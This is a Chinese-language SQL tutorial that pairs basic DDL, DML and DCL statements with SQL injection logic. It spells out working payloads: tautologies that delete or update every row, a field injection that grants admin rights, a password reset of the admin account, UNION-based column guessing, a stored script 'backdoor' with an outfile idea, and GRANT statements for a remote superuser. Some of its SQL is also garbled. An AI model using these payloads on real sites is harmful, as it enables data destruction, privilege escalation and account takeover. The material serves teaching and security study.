目录
1.DDL
2.DML
3.insert语句与注入逻辑
4.delete语句与注入逻辑
5.update语句与注入逻辑
6.select语句
7.select注入逻辑
8.记录联合与注入逻辑
9.DCL
SQL语言包括数据定义语言DDl,数据操作语言DML和数据控制语言DCL,这里一一简单介绍。
一. 什么是DDL?
DDL:数据定义语言(data Definition language)
功能:用于数据库、表、视图、函数、存储过程或者其它对象的创建、删除或者修改的操作。
包括:
- 创建 create
- 修改 alter
- 删除 drop
下面简单演示如何创建,修改,删除数据库和表。
CREATE语句:
创建和删除数据库:
Create database test1 default charset utf8;
Drop database test1;
创建删除表:
Create table test(uid int,uname varchar(32),password(32),email varchar(50));
Drop table test;
ALTER语句:
1.增加和删除字段:
alter table users add column mobile bigint default 0;
alter table users drop column mobile ;
2.修改字段类型和长度:
alter table users modify column uname varchar(100);
3.字段改名
alter table users change uname username varchar(100);
4.调整字段顺序
alter table users change uid uid int first;
alter table users change uname uname varchar(100) after uid;
5.修改表名
alter table users rename emp;
二.什么是DML?
DML:数据操作语言(data manipulation language)
功能:主要是对表、视图等对象进行查询、插入、更新和删除操作
包括:
- SELECT 查询
- INSERT 插入
- UPDATE 更新
- DELETE 删除
三. INSERT语句基本使用与注入逻辑
1.INSERT基本使用
INSERT INTO users(uid,uname,password,isadmin)
Values(1,’text1’,’123456’,1)
INSERT INTO users(uid,uname,password,isadmin)
SELECT 1,’test1’,’123456’,1;
Insert into users set uid=2,uname=‘test2’;
2.INSERT语句报错逻辑
mysql> INSERT INTO users VALUES (‘1',’hxf’,’hxf123’,’hxftest’);
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> show warnings;
+---------+------+------------------------------------------------------+
| Level | Code | Message |
+---------+------+------------------------------------------------------+
| Warning | 1366 | Incorrect integer value: '' for column 'isadmin' at row 1 |
+---------+------+------------------------------------------------------+
1 row in set (0.00 sec)
3.INSERT留后门逻辑
Insert into users(uid,blog,password,isadmin)
Values(1,’<scripts javascript>cracker,GO,GO,GO</scripts>’,’123456’,1)
用途:
- 可能被注入者利用,相当于病毒脚本,当打开网页时,如果处理程序并未屏蔽脚本的浏览器解析,那么就会跳出很多广告窗口,目的只是获得流量。
- 对于注入者可以放置数据库连接和通信的脚本,以便在适当的时候,select into outfile到web可访问的目录下,目标是通过http连接就可以直接访问数据库。
四.DELETE基本使用与注入逻辑
1.DELETE语句基本使用
(1)删除指定的用户
DELETE FROM users where uname=‘test1’;
(2)删除所有记录
DELETE FROM USERS;
(3)关联删除
DELETE a,b FROM emp a,dept b where a.deptno=b.deptno and a.detpno=1
(4)注入删除
DELETE FROM users where uname=‘test2’;
DELETE FROM users where uname=‘ ’ or ‘1’=‘1’;
五.UPDATE基础语句和注入逻辑
- update语句基础:
修改用户名为test1的密码为qwe123:
UPDATE users SET password='qwe123' where uname='test1';
修改所有用户名的密码为:qwe123
UPDATE users SET password='qwe123';
- update注入逻辑:
$sql=“UPDATE users SET gold=gold+100000 WHERE uname=“.'$uname';
正常传参:$name=qwe
结果:UPDATE users SET gold=gold+100000 where uname=‘qwe';
注入传参:$name= ' or '1'='1
结果:UPDATE game_user SET gold=gold+100000 where username=' ' or '1'='1';
- 更新个人资料与注入提权:
更新email正常传参:qwe@abc.com
结果:
Update user SET email='[email protected]' Where uid='$uid'
注入传参:qwe@abc.com ', isadmin= ' 1
结果: Update user SET email= ' [email protected] ', isadmin= ' 1' Where uname='$uname'
- post传参修改后台管理员密码逻辑:
正常传参: ' qwe123 '
结果:Update users SET password=MD5(' qwe123 ') Where uname='$uname'
注入传参:qwe') Where uname='admin'#
之后SQL语句变为:
Update users SET password=MD5('qwe123') Where uname='admin'#)'Where uname='$uname'
- URL传参修改后台管理员密码逻辑:
正常传参:id='123'
结果:Update users SET password=MD5('qwe123') Where uid='$uid'
注入传参:' or uname='admin'
结果:Update user SET password=MD5('qwe123') Where uid='' or uname='admin'
六. SELECT基础语句
-
SELECT和条件查询
select 是强大而复杂的查询语句,深入掌握select查询,就相当于掌握了SQL注入的精髓。(1)如何查询用户表的所有记录
SELECT * from users
(2)条件查询
SELECT * FROM users where uname=‘admin’ and password=‘abc123’; -
SELECT排序、限制和子查询
(1)排序和限制
正序 SELECT * FROM users order by uid
倒序 SELECT * FROM users order by uid desc
按第三列排序 SELECT * FROM users order by 3
取前10行 SELECT * FROM users order by 3 limit 10
(2)子查询
SELECT * FROM users where id in(SELECT uid FROM admin)
SELECT * FROM users where exists(SELECT uid FROM admin)
- select连接查询
(1)左连接
返回a表的所有记录和b表中与a表uid匹配的记录
SELECT a.uname,b.mobile FROM game_user a left JOIN game_user_ext b
ON a.uid=b.uid
(2)右连接
返回b表所有记录和a表中与b表uid匹配的记录
SELECT a.uname,b.mobile FROM game_user a right JOIN game_user_ext b
ON a.uid=b.uid
(3)内连接
返回a表uid与b表uid匹配,同时存在a表和b表的匹配记录
SELECT a.uname,b.mobile FROM game_user a inner JOIN game_user_ext b
ON a.uid=b.uid
七 .SELECT注入逻辑
- 语法报错逻辑
- 猜处理字段数逻辑
- 空集逻辑
- 全集逻辑
下面简单演示:
报错逻辑:
sql=“SELECT * FROM users where uname=“.$uname;
正常传参:$uname=‘Michael’
结果: SELECT * FROM users where uname=‘Michael’;
注入测试传参:$uname=‘Michael’’
网页报错
猜测处理字段数逻辑:
$sql=“SELECT * FROM users where uname=“.$uname;
正常传参:$uname=‘Michael’
结果: SELECT * FROM users where uname=‘Michael’;
注入测试传参:$uname=‘Michael’order by 1(2,3,4...)
直至网页报错
空集逻辑:
$sql=“SELECT * FROM users where uname=“.$uname;
正常传参:$uname=‘Michael’
结果: SELECT * FROM users where uname=‘Michael’;
注入测试传参:$uname=‘’or ‘1’=‘2
结果: SELECT * FROM users where uname=‘’or ‘1’=‘2’;
网页不报错,但显示页面没有内容等
$sql=“SELECT * FROM users where uname=“.$uname;
正常传参:$uname=‘Michael’
结果: SELECT * FROM users where uname=‘Michael’;
全集逻辑:
注入测试传参:$uname=‘’or ‘1’=‘1
结果: SELECT * FROM users where uname=‘’or ‘1’=‘1’
;
网页不报错,但显示页面正常或者页数更多等
八. 记录联合与注入逻辑
- 记录联合(union,union all)
SELECT * FROM users1
UNION
SELECT * FROM users2;
SELECT * FROM users1
UNION ALL
SELECT * FROM users2;
- 记录联合与注入报错逻辑
$sql=“SELECT uname,mobile,gold FROM users where uid=“.$uid;
正常传参:$id=1
结果: SELECT uname,mobile,gold FROM users where uid=10003;
注入逻辑:第二部分字段数不相符,网页报错或者显示不正常。
第二部分字段数相符,网页显示正常。
逐个注入字段传参:$id=1 union select 1
目标为猜测处理字段数目:
SELECT uname,mobile,gold FROM users where id=1
UNION
SELECT 1
ERROR 1222 (21000): The used SELECT statements have a different number of columns
- 记录联合与注入取代逻辑
$sql=“SELECT uname,mobile,gold FROM users where uid=“.$id;
正常传参:$id=1
结果: SELECT uname,mobile,gold FROM users where uid=1;
注入逻辑:0=9 的逻辑结果永远是假。
注入传参:$id=1 and 0=9 union select 1,2,3
结果(取而代之逻辑):
SELECT uname,mobile,gold FROM users where uid=1 and 0=9
UNION
SELECT 1,2,3
九. 什么是DCL?
- DCL——数据控制语言
主要是DBA来管理权限使用的。注入的目标是提升权限,或者授权一个具有较高权限的临时账户。- 如何创建一个从任意IP登录的超级权限用户?
- 如何创建一个从指定权限的用户?
- 数据库提权。
授权:grant all privileges on *.* to admin@`%` identified by ‘abc’;
验证:mysql -h 192.168.233.128 -uadmin -pabc
授权:grant select,insert on *.* to admin2@`%` identified by ‘abc’;
验证:mysql -h 192.168.233.128 -uadmin2 -pabc
操作:insert,select,update,delete
利用当前登录的管理员账号,对其它用户提权
提权备用账户:grant all privileges on *.* to admin2@`%` ;(提权)